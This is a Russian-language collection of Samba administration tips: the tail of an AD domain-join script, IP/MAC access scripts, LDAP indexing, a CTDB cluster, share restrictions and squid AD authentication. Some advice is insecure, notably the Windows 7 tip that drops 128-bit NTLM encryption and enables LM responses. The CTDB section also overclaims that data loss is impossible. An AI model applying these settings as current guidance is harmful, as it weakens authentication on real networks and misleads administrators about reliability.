"WARNING!!! Join failed" read -p 'Press Enter' else { /usr/bin/net -d 1 ads keytab create /sbin/service winbind restart /usr/bin/net -d 1 ads dns register } > /tmp/adsjoin-$$ 2>&1 break; fi cntr=$(( $cntr - 1 )) done fi /usr/bin/plymouth --show-splash # If adsjoin succeeded, chkconfig it off so we don't see the message # every time about starting up adsjoin. if [ "$RETVAL" -eq 0 ]; then action "" /bin/true else action "" /bin/false fi /sbin/chkconfig adsjoin off exit $RETVAL ;; stop) exit 0 ;; status) /sbin/chkconfig --list adsjoin | grep on >/dev/null RETVAL=$? if [ "$RETVAL" -eq 0 ]; then if [ ! -f $FILENAME ] || [ -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then echo $"adsjoin is scheduled to run" else echo $"adsjoin is not scheduled to run" fi else echo $"adsjoin is not scheduled to run" fi exit 0 ;; restart | reload | force-reload | condrestart | try-restart) usage exit 3 ;; *) usage exit 2 ;; esac Примечание: Параметры "kerberos method" файла /etc/samba/smb.conf и "krb5_ccache_type" файла /etc/security/pam_winbind.conf должны соответствовать друг другу, иначе пользователь не сможет войти в систему. Как ни странно, синхронизация времени часто сбивается в первые секунды после получения адреса по dhcp - приходится вводить адреса серверов времени по нескольку раз. Скрипт перезапускает самбу и при его корректном завершении компьютер готов для работы без перезагрузки. 6. Запускаем компьютеры Подключаем к установочному VLAN-у коммутатор. Запасаемся веером патч-кордов, кабелей питания и пр. Подключаем сразу несколько компьютеров. Запускаем на каждом новом компьютере загрузку по сети, по протоколу PXE. У моих компьютеров сетевая загрузка была отключена, приходилось к каждому подключать монитор и клавиатуру и немного донастраивать BIOS. Но в итоге, параллельная подготовка компьютеров, включившая распаковку, заливку, введение в домен и упаковку для отправки в дальний офис занимала менее часа на десяток компьютеров, при том, что отдельный компьютер подготавливается около 15 минут. Что не добавлено 1. Если какие-либо системные утилиты, работающие под уч. записью root и понимающие, что такое Цербер, лезут к компьютерам домена, можно добавить в крон ежечасный вызов /usr/bin/net ads kerberos kinit -P - инициализация Церберного билета уч. записи компьютера. 2. Можно добавить клиенту DHCP скрипт само-регистрации в DNS: /etc/dhcp/dhclient.d/dnsreg.sh #!/bin/sh dnsreg_config() { if [ -x /usr/bin/net ] ; then /usr/bin/net ads dns register -P 2>&1 | logger -p daemon.info -t dhclient fi true } 3. Не настроен сервер обновлений. У нас CentOS ставился для пробы перед покупкой RedHat-а, обновлять его как-то не планировалось. Благодарности
  • Руководству - за поставленную задачу и время, выделенное на её решение.
  • VMWare - за незначительное количество "особенностей" в эмуляторе, в целом просто невероятным образом сократившего время отладки.
  • Microsoft - за незабываемое время проведённое в борьбе с Active Directory.
  • Wireshark.org - за отличный инструмент борьбы со всем этим счастьем.
  •  
    ----* Организация в Samba контроля пользователей по IP и MAC с псевдоквотами   Автор: mastertron  [комментарии]
     
    Ниже представлена попытка без лишних усложнений решить задачу контроля по
    IP+MAC в Samba без запуска дополнительных служб в системе.
    
    В операционной системе создаются всего два системных пользователя с атрибутом
    nologin (smbfull с smblim). Данные о работающих в Samba пользователях хранятся
    в текстовом файле, с таким форматом:
    
       nicname_ФИО и дополнительная информация _IPaddress_MACaddress_limitsize(block)
    
    Итого пять полей с разделителем "_" (если в имени пользователя допускается знак
    подчеркивания, в приведенном ниже скрипте следует заменить "_", допустим, на "|").
    
    При превышении указанного объема клиент может продолжать работать со своими
    документами, редактировать их, но добавить (создать) что-либо или удалить не сможет.
    
    Такой подход может удовлетворить небольшую сеть с индивидуальными ПК, где требуется:
    
    
  • нескольким пользователям подключить сетевые папки для документов, каждому свою, с привязкой по IP;
  • возможность иметь общие папки (внутри своих) между двумя или более пользователями для совместного доступа
  • исключить доступ с других ПК (и даже видимость в сетевом окружении)
  • избежать подключения с "левого" ПК (смена IP) посредством контроля MAC адреса
  • контролировать превышение объема информации в каждой директории, выделенной каждому пользователю. Часть решения подсказал некий robux на форуме linux.org.ru, у него просто авторизировались системные пользователи по IP. Создаем системных пользователей, первого "smbfull" в группе "smbfull", nologin. Второго "smblim" в группе "smbfull" Создаем тех же для самбы: smbpasswd -n -d smbfull smbpasswd -n -d smblim Каталоги созданных пользователей удалим и создадим общие /home/smbusers для каталогов пользователей и /home/smbses для, так называемых, сессионных каталогов. Пример файла конфигурации smb.conf [global] security = user passdb backend = smbpasswd:/etc/samba/smbpasswd username map script = /etc/samba/login.sh %I nullpasswords = yes directory mask = 755 create mask = 755 inherit owner = yes inherit permissions = yes log file = /var/log/smbd.%I max log size = 20 hosts allow = 192.168.0.0/24 socket address = 192.168.0.1 [docs] path = /home/smbses/%I public = yes writable = yes printable = no root postexec = /etc/samba/exit.sh %I Скрипт залогинивания login.sh #!/bin/sh - fses='/home/smbses/'$1 rm $fses v_ipmac=`/usr/local/bin/arp-scan -q --interface=rl1 $1 | sed -n '3p' | sed 's/[ ]/_/g'` res='' res=`grep $v_ipmac /etc/samba/access` if [ "$res" == "" ] then echo 'Blocked!!! - '$v_ipmac >> /home/smbusers/log exit fi v_nic=`echo $res | cut -d_ -f1` v_sz=`echo $res | cut -d_ -f5` v_dir='/home/smbusers/'$v_nic ln -s $v_dir $fses siz=`du -sL $fses | sed -e 's/[ ].*//g'` if [ $siz -gt $v_sz ] then echo 'limit exceeded! - '$v_nic' '$v_ipmac >> /home/smbusers/log echo 'smblim' else echo 'smbfull' fi Скрипт отключения exit.sh #!/bin/sh - rm /home/smbses/$1 Скрипт создания пользователей addusmb #!/bin/sh - fil='/etc/samba/access' echo `date` >> $fil echo -n ' User (nicname) - ' read v_nic res=`grep -c "^$v_nic" $fil` if [ $res != 0 ] then echo 'nicname '\"$v_nic\"' busy!!!' sleep 2 exit fi echo -n ' Fullname user - ' read v_fn echo -n ' User IP - ' read v_ip res=`grep -c "$v_ip" $fil` if [ $res != 0 ] then echo 'IP-'$v_ip' busy!!!' sleep 2 exit fi ping -w 1 -c 1 $v_ip >/dev/null if [ $? != 0 ]; then echo 'IP address unavailable :(' sleep 2 exit fi echo -n ' Allowable size of files (Mb)- ' read v_sm let "v_sz=$v_sm * 2048" v_ipmac=`/usr/local/bin/arp-scan -q --interface=rl1 $v_ip | sed -n '3p' | sed -e 's/[ ]/_/g'` # nicname_fullname_ip_mac_limit echo $v_nic'_'$v_fn'_'$v_ipmac'_'$v_sz >> /etc/samba/access v_dir='/home/smbusers/'$v_nic mkdir $v_dir chmod 755 $v_dir chown smbfull $v_dir chgrp smbfull $v_dir echo ' Ok!' sleep 1 В скриптах между "[" и "]" введен один пробел и один ТАБ. У каждого свой каталог, каждому назначаем допустимый объем информации, при достижении которого он теряет право на создание чего либо нового, но продолжает работать со своими документами. При подключении (либо сетевой диск, либо просто ярлык на ресурс) проверяется соответствие IP_MAC, и, если есть совпадение в файле access, то вытягивается с этой строки nicname и допустимый объем. Создается симлинк директории пользователя с /home/smbusers/user в /home/smbses/~IP Проверяется размер директории пользователя, сравнивается с дозволенным. Если значение меньше допустимого, то входим под пользователем smbfull с полными правами, если лимит превышен - входим под smblim. По завершении сеанса в Windows линк удаляется. Для организации общего ресурса между двумя или более пользователями ( с одинаковыми правами в этой папке!) просто делаем симлинк внутренней папки пользователя в папку другого (других). Можно еще добавить шару и делать так же симлинк какой-то папки пользователя в шару для публикаций файлов, при этом не бояться за их исчезновение или редактирование. При тестах не стоит спешить, при подключении (при обращении) создается линк и процесс сессии, при отключении от самбы (достаточно отключить сетевой диск или закрыть папку) линк с /home/smbses/ удаляется быстро, а вот процесс может еще повисеть. Пока процесс висит - самба вас помнит, и конфигурацию при подключении не перечитает. Можно дождаться закрытия процесса или убить вручную, тогда при подключении вступят в силу внесенные изменения.
  •  
    ----* Создание шаблонов блоков конфигурации samba при помощи опции "copy" (доп. ссылка 1) (доп. ссылка 2)   Автор: Aleksandr Ivanov  [обсудить]
     
    Одной из директив, доступных в smb.conf, является опция copy, которая
    обеспечивает возможность клонирования записей и атрибутов общих ресурсов Samba.
    Используя эту директиву, можно создать шаблон службы со всеми необходимыми
    опциями вместо указания одних и тех же опций для каждой отдельной директории.
    
    Пример /etc/samba/smb.conf:
    
       [template1]
            browseable = yes
            writable = yes
            valid users = gpalis mnapolis rcamacho
    
       [template2]
            browseable = yes
            writable = no
            valid users = gpalis rcamacho peting
    
       [backup]
            path = /mnt/backup
            copy = template1
    
       [workfiles]
            path = /share
            copy = template1
    
       [csfiles]
            path /mnt/cs
            copy = template2
    
     
    ----* Решение проблемы с индексацией данных в связке Samba и LDAP (доп. ссылка 1) (доп. ссылка 2)   Автор: Aleksandr Ivanov  [комментарии]
     
    При появлении в логе ошибок подобных:
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (gidNumber) not indexed
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (sambaSID) not indexed
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (sambaSID) not indexed
       Feb 25 20:23:55 dc02 slapd[5677]: bdb_equality_candidates: (uid) not indexed
       Feb 25 20:23:55 dc02 slapd[5677]: bdb_equality_candidates: (uid) not indexed
    
    необходимо в файл конфигурации /etc/ldap/slapd.conf в раздел с директивами
    "database" добавить следующее:
    
       # Indices to maintain for this database
       index objectClass                       eq,pres
       index ou,cn,sn,mail,givenname           eq,pres,sub
       index uidNumber,gidNumber,memberUid     eq,pres
       index loginShell                        eq,pres
       # I also added this line to stop warning in syslog ..
       index uniqueMember                      eq,pres
       ## required to support pdb_getsampwnam
       index uid                               pres,sub,eq
       ## required to support pdb_getsambapwrid()
       index displayName                       pres,sub,eq
       # These attributes don't exist in this database ..
       #index nisMapName,nisMapEntry            eq,pres,sub
       index sambaSID                          eq
       index sambaPrimaryGroupSID              eq
       index sambaDomainName                   eq
       index default                           sub
      
    После этого:
    
       # /etc/init.d/slapd stop
    
       # slapindex
       WARNING!
        Runnig as root!
        There's a fair chance slapd will fail to start.
        Check file permissions!
    
       # chown openldap:openldap /var/lib/ldap/*
    
       # /etc/init.d/slapd start
        Starting OpenLDAP: slapd
    
    Добавляемые в slapd.conf строки примерны, поскольку наличие дополнительных
    строк или их отсутствие зависит от конфигурации.
    
     
    ----* Доступ к Samba из Windows 7 и Windows 2008 r2   Автор: 24pm  [комментарии]
     
    Начиная с версий Windows 7 и Windows 2008 r2 параметры авторизации у Microsoft
    поменялись. Скорее всего Samba вскоре это учтёт, а пока подружить системы можно
    изменив на Win7 свойства сетевой безопасности:
    
       "Пуск"
          "Панель управления"
             "Администрирование"
                "Локальная политика безопасности"
                   "Локальные политики"
                    
    Далее в блоке "Параметры безопасности" меняем: 
    
    * Сетевая безопасность: минимальная сеансовая безопасность для клиентов на базе
    NTLM SSP - убрать галочку с "Требовать 128-битное шифрование". Таких параметра
    два - выполнить для обоих
     
    * Сетевая безопасность: уровень проверки подлинности LAN Manager - выбрать в
    списке пункт "Отправлять LM- и NTML-ответы"
    
     
    ----* Кластер Samba с использованием CTDB   Автор: Панков Петр  [комментарии]
     
    Введение
    
    Данная статья описывает механизм развертывания файлового сервера на
    предварительно поднятом кластере высокой готовности (High-Aviability).
    Предполагается, что все кластерные службы, а так же службы обеспечения высокой
    готовности настроены и запущены. В моем случае, кластер состоит из 2-х узлов.
    
    Собственно ПО
    
    Поясню выбор ПО и, собственно, для чего это все делается.
    
    1. Чтобы поднять кластер из соединенных между собой каналами связи серверов,
    необходимо установить некоторые службы для централизованного управления
    ресурсами, а также использовать кластерную ФС для организации общего хранилища.
    В случае, если используется ОС от RedHat, сюда входят:
    
    - CMAN - или cluster manager - служба управления кластером. демон, который
    соединяет и отсоединяет узлы от кластера. Выполняется на каждой ноде;
    
    - CCSD - это демон, который обеспечивает доступ к файлу
    конфигурации(cluster.conf) другим кластерным приложениям. Выполняется на каждом узле;
    
    - fencing - часть кластерной системы конфигурации. Этот демон блокирует доступ
    узлу, с которым отсутствует связь, к общим ресурсам кластера.
    
    - GFS2 в качестве кластерной ФС.
    
    2. Чтобы поднять кластер высокой готовности, необходимо решить ряд задач, а
    именно, обеспечить целостность данных и доступность ресурсов при отказе одного
    из узлов.
    
    - DRBD. По сути, сетевой RAID1. Используется для репликации данных. Таким
    образом данные всегда доступны при отказе одного из узлов. Начиная с версии 8,
    DRBD позволяет организовать работу всех устройств в режиме "primary", в отличае
    от предыдущих версий, где primary устройство было единственное.
    
    - HeartBeat. Механизизм "сердцебиения". Эта служба "наблюдает" за узлами, и, в
    случае, отказа одного из них, передает задачу другому, рабочему узлу. Таким
    образом, достигается доступность сервисов.
    
    3. Чтобы поднять файловый сервер на данном кластере и использовать его для
    Windows-клиентов, необходимо использовать Samba'у. Текущая версия Samba не
    поддерживает развертывание её на кластере из-за свеобразного механизма работы.
    
    Поясню: Samba использует легковесную базу данных (TDB) для приведения
    соответствия Windows SID к Unix UID/GID (таблицы ID-мэппинга), хранения данных
    об открытых сессиях (session.tdb), таблицу блокировок файловой системы
    (locking.tdb), а также ряд других параметров.
    
    Если использовать классическую конфигурацию на кластере "как есть", получим
    следующее: На каждом узле работает свой демон smbd и каждый узел имеет свою
    копию TDB, причем эти TDB никак не связаны между собой и не имеют механизма
    взаимодействия. Это и является проблемой. Необходимо, чтобы все узлы кластера
    "знали" в каждый момент времени некоторые значения из всех TDB. Ключевым здесь
    является - locking.tdb и session.tdb. Для этих целей и используется CTDB.
    
    CTDB преобразует стандартный механизм работы Samba с TDB: все локальные
    locking.tdb и session.tdb - преобразуются в распределенную базу данных, таблицы
    ID-мэппинга остаются под управлением локальных демонов smbd. CTDB также
    осуществляет управление демонами smbd и производит передачу управления демоном
    smbd в случае отказа узла.
    
    Подведем некоторые итоги
    
    Имеем следующее:
    
    -кластерную систему, которая используется как файловый сервер. Для этого
    используем службу Samba, запущенную одновременно на всех узлах
    
    - за её работу отвечает CTDB. Данные хранятся на локальных дисках,
    реплицируются с помощью DRBD, доступ к ним может осуществляться одновременно
    обоими узлами кластера(для этого и нужна кластерная ФС - GFS2).
    
    Таким образом, потеря данных исключена, доступность сервисов обеспечена.
    
    Служба HeartBeat в данном случае не используется, так как CTDB выполняет эти
    функции для Samba-сервера.
    
    В результате, получим: высокопроизводительный файловый сервер, обеспечивающий
    100%-ю целостность данных и непрырывность предоставляемых сервисов.
    
    Установка, настройка и запуск
    
    То, что описано ниже, делаем на всех узлах кластера.
    
    Для начала собираем CTDB из исходных текстов
    
           cd ctdb
           ./autogen.sh
           ./configure
           make
           make install
    
    
    После этого необходимо создать и отредактировать основные конфигурационные
    файлы, служащие для запуска и работы CTDB.
    
    1. Создать файл /etc/sysconfig/ctdb.sysconfig:
    
           CTDB_RECOVERY_LOCK="/synchronized/lock"
           CTDB_PUBLIC_INTERFACE=eth0
           CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses
           CTDB_MANAGES_SAMBA=yes
           CTDB_INIT_STYLE=redhat
           CTDB_NODES=/usr/local/etc/ctdb/nodes
           CTDB_LOGFILE=/var/log/log.ctdb
    
    В данном случае, этот файл не использует все возможные параметры, а лишь те,
    которые необходимы в данном случае:
    
    CTDB_RECOVERY_LOCK="/synchronized/lock" - этот параметр описывает
    месторасположение файла, в котором хранится записи о том, какой из узлов
    является мастером восстановления. Файл lock должен располагаться на общем
    хранилище и быть доступным всем нодам,использующим CTDB.
    
    CTDB_PUBLIC_INTERFACE=eth0 - этот параметр описывает сетевой интерфейс, на
    котором в данный момент времени поднято сетевое соединение.
    
    CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses - этот параметр
    определяет файл, содержащий список IP-адресов, по которым клиенты, использующие
    Samba для доступа к файловым ресурсам, посылают запросы на соединение.
    Распределением этих адресов по нодам занимается CTDB.
    
    CTDB_MANAGES_SAMBA=yes - этот параметр определяет, будет ли CTDB управлять
    запуском  Samba-сервера вместо стандартных сценариев управления, которые
    реализует операционная система.
    
    CTDB_INIT_STYLE=redhat - этот параметр описывает сценарии запуска служб для
    различных операционных систем.
    
    CTDB_NODES=/usr/local/etc/ctdb/nodes - этот параметр определяет файл, в котором
    хранится информация об узлах кластера.
    
    CTDB_LOGFILE=/var/log/log.ctdb - этот параметр определяет лог-    файл,
    использующийся службой CTDB.
    
    2.  Создать файл /usr/local/etc/ctdb/nodes:
    
           192.168.1.1
           192.168.1.2
    
    Здесь IP-адрес 192.168.1.1 принадлежит первой ноде, IP-адрес 192.168.1.2 - второй.
    
    3. Создать файл /usr/local/etc/ctdb/public_addresses:
    
           192.168.0.200/24 eth0
    
    Это IP-адрес, за которым в DNS сервере закреплено доменное имя Samba-сервера.
    
    
    Далее собираем самбу
    
           cd samba-3.3.8/source
           ./autogen.sh
           ./configure --with-ctdb=/usr/src/ctdb --with-cluster-support \
              --enable-pie=no --with-shared-modules=idmap_tdb2
           make
           make install
    
    /usr/src/ctdb - каталог с исходными текстами CTDB, установленными ранее.
    
    Правим smb.conf
    
    Эти два параметра обязательно надо добавить в global. Остальное, по Вашим запросам.
    
           clustering = Yes
           idmap backend = tdb
    
    Запуск Samba
    
    Сначала запускаем CTDB на всех узлах кластера.
    
           /usr/local/sbin/ctdbd
    
    Проверяем, запустилось ли.
    
           ctdb status
    
    Если все конфигурационные файлы корректны,будет такое:
    
           Number of nodes:2
           pnn:0 192.168.1.1      OK (THIS NODE)
           pnn:1 192.168.1.2      OK
           Generation:1087563258
           Size:2
           hash:0 lmaster:0
           hash:1 lmaster:1
           Recovery mode:NORMAL (0)
           Recovery master:0
    
    Проверяем для начала параметры smb.conf
    
           /usr/local/samba/bin/testparm
    
           Load smb config files from /usr/local/samba/etc/smb.conf
           Processing section "[public]"
           Loaded services file OK.
           Server role: ROLE_STANDALONE
    
    Запускаем самбу:
    
           /usr/local/samba/sbin/smbd -D
           /usr/local/samba/sbin/smbd -D
    
    Далее, все как обычно, только не забывайте, что это не кластер, и все действия
    должны быть выполнены на всех узлах.
    
    Тестирование
    
    Для сравнения производительности Samba-сервера с использованием CTDB и без
    использования CTDB, а также возможностей файловой системы (общего хранилища)
    используется ряд тестовых модулей.
    
    Скорость чтения данных
    
    Чтение(MB/sec)
    Клиент
    1
    2
    3
    4
    Samba без CTDB
    2,15
    2,16
    2,13
    2,09
    Samba + CTDB
    24,73
    23,42
    23,26
    23,15
    
    Сервер был доступен по кналу 1 Гб/с, поэтому суммарно использовано около 75%
    пропускной способности.
    
    Скорость записи идентична, не намного уступает, определяется скорее возможностями файловой системы.
    Замечу, что с ростом узлов (до 8) скорость доступа к данным (скорость
    чтения/записи) стремительно растет.
    
    
    Заключение
    
    Предложенный вариант кластеризации Samba позволяет достичь некоторых результатов:
    1. Высокая надежность и отказоустойчивость (читайте про CTDB). Потеря данных исключена.
    2. Показатели производительности по сравнению с 1-серверными системами отличные.
    
    Конфигурация годится для организации бюджетного кластерного файлового сервера,
    и при грамотной организации каналов связи (между узлами, клиент- сервер)
    обеспечит отличный уровень производительности.
    
    Список источников
    
    * http://ctdb.samba.org
    * http://wiki.samba.org/index.php/Clustered_Samba
    
     
    ----* Примеры ограничения доступа пользователям в Samba (доп. ссылка 1)   [комментарии]
     
    Разрешение доступа к разделу только из определенной подсети:
    Для нужного имени share-секции smb.conf добавляем:
    
       [share]
         hosts allow = 192.168.2. 127.0.0.1
         hosts deny  = ALL
    
    Разрешение доступа по именам пользователей или группам:
    
       [share]
         valid users = user1 user2 @group1 @group2
    
    Делегирование прав на запись только заданным пользователям, остальным доступ только для чтения:
    
       [share]
         read only = yes
         write list = user1 user2 @group1 @group2
    
    Пример, доступ только на чтение к разделу [sales] всем, кроме пользователей tom
    и jerry, имеющих возможность записи:
    
       [sales]
         comment = All Printers
         path = /nas/fs/sales
         read only = yes
         write list = tom jerry
    
    Для более надежной защиты рекомендуется ограничить доступ к smbd (139 порт)
    через пакетный фильтр, разрешив обращение только с адресов локальной сети.
    
     
    ----* Некоторые распространённые сообщения об ошибках в Samba (доп. ссылка 1)   Автор: skeletor  [комментарии]
     
    Некоторые сообщения об ошибках в логах samba.
    
     
    
    1) "printing/pcap.c:pcap_cache_reload"
    
    В случае неиспользования системы печати для предотвращения таких сообщений в
    конфиге sambа в секции global добавляем:
     
        load printers = no
        show add printer wizard = no
        printing = none
        printcap name = /dev/null
        disable spoolss = yes
    
    2) "getpeername failed. Error was Transport endpoint is not connected"
    
    Данное сообщения означает скорее всего, что в вашей сети используются машины
    под управлением Windows XP.
    Дело в том, что Windows 98 для доступа к ресурсам сети использовал порт 139.
    Windows XP же используется 2 порта: 139 и 445 и действует следующим образом.
    Она пытается открыть соединения сразу по 2-ум портам, если ей это удаётся, она
    рубит соединение на 139 порту,
    посылая сообщение samb'e. Отсюда вывод. Для совместимости со старыми (а
    возможно и просто классической совместимости)
    используйте порт 139. Для этого в конфиге samb'ы, в секции global пишем такое:
    
        smb ports = 139
    
    3) "smbd/close.c:close_remove_share_mode", "close_remove_share_mode: Could not
    delete share entry for file"
    
    Добавьте в описание шары, на файлах которой вываливаются такие сообщения следующее
    
        locking = no
    
    4) "Global parameter log level found in service section!", "Global parameter
    syslog found in service section!"
    
    Это значит, что параметр log level и syslog описан не в опции, а в описаниях шар.
    Решение: перенести параметр из описаний шар в секцию
    
    5) "Packet send failed to 127.0.0.1(137) ERRNO=Permission denied",
    "send_netbios_packet: send_packet() to IP 127.0.0.1 port 137 failed"
    
    Побороть это мне помогло добавление 127.0.0.1/8 в строку interfaces в smb.conf
    
     
    ----* Увеличение скорости работы samba (доп. ссылка 1)   Автор: Денис Корявов  [комментарии]
     
    Установленная из пакета в ALT Linux samba демонстрировала невысокую скорость передачи данных: 
    1Мб/сек на прием и 700 Кб/сек на отдачу файлов по 100 Мбит ethernet сети. 
    
    Поискав на бескрайних просторах интернета, мне удалось найти следующее решение:
    В файл /etc/samba/smb.conf в опцию [global] вставьте следующие строки:
    
       [global]
       max xmit = 64000
       socket options = IPTOS_LOWDELAY TCP_NODELAY SO_SNDBUF=64000 SO_RCVBUF=64000 SO_KEEPALIVE
    
    
    Благодаря данным настройкам, пиковые значения скорости передачи данных по сети у меня увеличились 
    до 7.5Мб/сек на прием и 4 Мб/сек на отдачу файлов.
    
     
    ----* Автоматическое создание домашних директорий для пользователей в Samba (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Возникла необходимость, чтобы при обращении к серверу Samba если отсутствует создавалась 
    домашняя папка для пользователя домена. Сделать это можно задействовав
    стандартный PAM модуль pam_mkhomedir.
    
    Сперва убедитесь что smbd собран с поддержкой PAM
    
       smbd -b | grep WITH_PAM
    
       WITH_PAM
    
    Если PAM не поддерживается, соберите Samba из исходников с ключом "--with-pam".
    
    В файл "/etc/smb.conf" (секция "global") добавляем
    
       obey pam restrictions = Yes
    
    Создаем шару для домашних папок пользователей
    
       [homes]
       valid users = DOMAIN\%S
       read only = no
       browseable = no
       create mode = 0600
       directory mode = 0700
    
    По умолчанию Samba считает, что домашние папки пользователей находятся в "/home/DOMAIN/user". 
    Нам надо создать директорию "/home/DOMAIN", так как pam_mkhomedir не умеет
    создавать вложенные директории
    
       sudo mkdir /home/DOMAIN
    
    Добавляем в файл "/etc/pam.d/samba"
    
       session required pam_mkhomedir.so umask=0077
    
     
    ----* Пример блокирования файлов по расширениям на samba сервере (доп. ссылка 1)   Автор: izya12  [комментарии]
     
    Пример запрещения записи файлов по расширению (veto files переписать в одну строку):
    
       [SOUND]
       path = /mnt/sde/music
       comment = звуковой-сервер
       username = roma,vnelubin,gtcvet,eolax,mlapin,kkorobejnikov
       only user = yes
       public = yes
       writable = yes
       create mode = 0775
       force create mode = 0775
       directory mode = 0775
       force directory mode = 0775
       veto oplock files = /*.mp3/*.wav/
       veto files = /*.a*/*.A*/*.b*/*.B*/*.c*/*.C*/*.D*/*.d*/*.E*/*.e*/*.F*/*.f*/*.G*/*.g*/*.H*/*.h*
         /*.I*/*.i*/*.J*/*.j*/*.K*/*.k*/*.L*/*.l*/*.N*/*.n*/*.O*/*.o*/*.P*/*.p*/*.Q*/*.q*
         /*.R*/*.r*/*.S*/*.s*/*.T*/*.t*/*.U*/*.u*/*.Y*/*.y*/*.V*/*.v*/*.X*/*.x*/*.Z*/*.z*
         /*.1*/*.2*/*.3*/*.4*/*.5*/*.6*/*.7*/*.8*/*.9*/*.0*/*.vob/*.VOB/*.iso/*.ISO/*.nrg
         /*.NRG/*.IFO/*.ifo/*.BUP/*.bup/*.zip/*.ZIP/*.rar/*.RAR/*.TXT/*.txt/*.TAR/*.tar
         /*.EXE/*.exe/*.DLL/*.dll/*.CFG/*.cfg/*.HT*/*.ht*/*.aa*/*.ab*/*.ac*/*.ad*/*.ae*
         /*.af*/*.ag*/*.ah*/*.ai*/*.aj*/*.ak*/*.al*/*.am*/*.an*/*.ao*/*.ap*/*.aq*/*.ar*
         /*.as*/*.at*/*.au*/*.ay*/*.ax*/*.az*/*.wb*/*.wc*/*.wd*/*.we*/*.wf*/*.wg*/*.wh*
         /*.wi*/*.wj*/*.wk*/*.wl*/*.wm*/*.wn*/*.wo*/*.wp*/*.wq*/*.wr*/*.ws*/*.wt*/*.wu*
         /*.wy*/*.wx*/*.wz*/*.wv*/
       delete veto files = yes
    
    Для самбы версии 3 и выше регистр значения не имеет.
    
    Для разрешения записи, но скрытия для чтения, нужно использовать:
    
       hide veto files = yes
    
    ещё пример:
    
       veto oplock files = /*.xls/*.XLS/*.mdb/*.MDB/*.ldb/*.LDB/
       veto files = /*.avi/*.mp*
    
     
    ----* apache2 + mod_ntlm2 на FreeBSD (доп. ссылка 1)   Автор: Comatoz  [комментарии]
     
    Прозрачная авторизация пользователя через его доменную учетную запись
    
    Использовавшие источники
       http://www.lissyara.su/?id=1510&commented=1#comment_2138
       http://wiki.bestpractical.com/view/NtlmAuthentication
    
    В портах появился, но не собирается как надо (на 1.10.07 г.), поэтому
    
       cd /usr/ports/www/mod_ntlm2
    
    Необходимо поправить файл  mod_ntlm.c
    
       make fetch && make extract
    
    
    diff mod_ntlm2-0.1/mod_ntlm.c mod_ntlm2-0.1-fixed/mod_ntlm.c
    590c590,596
    <     apr_pool_sub_make(&sp,p,NULL);
    ---
    >     /*
    >      * apr_pool_sub_make(&sp,p,NULL);
    >      *
    >      * This function call is not longer available with apache 2.2
    >      * Try replacing it with apr_pool_create_ex()
    >      */
    >     apr_pool_create_ex(&sp,p,NULL,NULL);
    
    Теперь собираем и устанавливаем
    
       make install
    
    Пример настройки /usr/local/etc/apache22/Includes/nagios.conf
    
    ...
      ScriptAlias /nagios/cgi-bin/ /usr/local/www/nagios/cgi-bin/
      Alias /nagios/  /usr/local/www/nagios/
      Alias /nagios  /usr/local/www/nagios/
    
    <Location /nagios/cgi-bin>
        AuthType NTLM
        NTLMAuth on
        NTLMAuthoritative on
        NTLMDomain NAME_DOMAIN # ИМЯ домена
        NTLMServer dc1	# имя PDC
        NTLMBackup dc2	# имя BDC
        Require valid-user
    </Location>
    ...
    
    Если обращаться из IE - все работает, IE отдает данные авторизации любому.
    Если обращаться из Mozilla Firefox не будет работать -  FF не отдает 
    данные авторизации кому попало, сначала надо определить кому можно 
    отдавать. Для этого в FF(about:config) в параметре  network.automatic-
    ntlm-auth.trusted-uris установить имя сервера которому можно отдавать 
    данные авторизации.
    
     
    ----* Создание общедоступного по SMB/CIFS протоколу хранилища файлов (доп. ссылка 1)   [обсудить]
     
    smb.conf:
    
       interfaces = lo eth1
       bind interfaces only = true
       ... 
       security = share
       ...
       guest account = nobody
       ...
       [Guest Share]
            comment = Guest access share
            path = /path/to/dir/to/share
            browseable = yes
            read only = yes
            guest ok = yes
    
     
    ----* Авторизация пользователей по доменным группам AD в squid (доп. ссылка 1)   Автор: Nichls  [комментарии]
     
    В squid.conf
    
    #Здесь описываем внешие ACL
    external_acl_type InetGroup-proxy-08-20ww %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in work week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-08-20aw %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-00-24all %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 00-00 to 24-00
    
    # Проверь свои пути
    auth_param ntlm children 20
    auth_param ntlm program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
    auth_param ntlm max_challenge_reuses 0
    auth_param ntlm max_challenge_lifetime 2 minutes
    
    auth_param basic children 20
    auth_param basic program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-basic
    auth_param basic realm Squid proxy-caching web server
    auth_param basic credentialsttl 2 hours
    
    # Говорим, что нужна авторизация
    acl you_domain proxy_auth REQUIRED
    
    # Разграничиваем доступ по времени
    acl work-week time MTWHF 08:00-20:00 #  Доступ с 08-00 до 20-00 с понедельника по пятницу
    acl all-week time SMTWHFA 08:00-20:00 # Доступ с 08-00 до 20-00 всю неделю
    acl all-time time SMTWHFA 00:00-24:00 # Доступ круглосуточно всю неделю
    
    # Осуществляем проверку на принадлежность к нужно группе
    acl InetAccess-proxy-08-20ww external InetGroup-proxy-08-20ww proxy-08-20ww
    acl InetAccess-proxy-08-20aw external InetGroup-proxy-08-20aw proxy-08-20aw
    acl InetAccess-proxy-00-24all external InetGroup-proxy-00-24all proxy-00-24all
    
    # Собираем все в кучу и проверяем на предмет получения дуступа к ИНТЕРНЕТ
    http_access allow you_domain work-week InetAccess-proxy-08-20ww
    http_access allow you_domain all-week InetAccess-proxy-08-20aw
    http_access allow you_domain all-time InetAccess-proxy-00-24all
    
    ----------------------
    
    proxy-08-20ww, proxy-08-20aw, proxy-00-24all - Группы в домене. В них заносишь
    тех юзеров, которым разрешен доступ.
    
    wbinfo_group.pl - Используй именно этот скрипт. В том, что идет в комплекте со
    squid имеется ошибка.
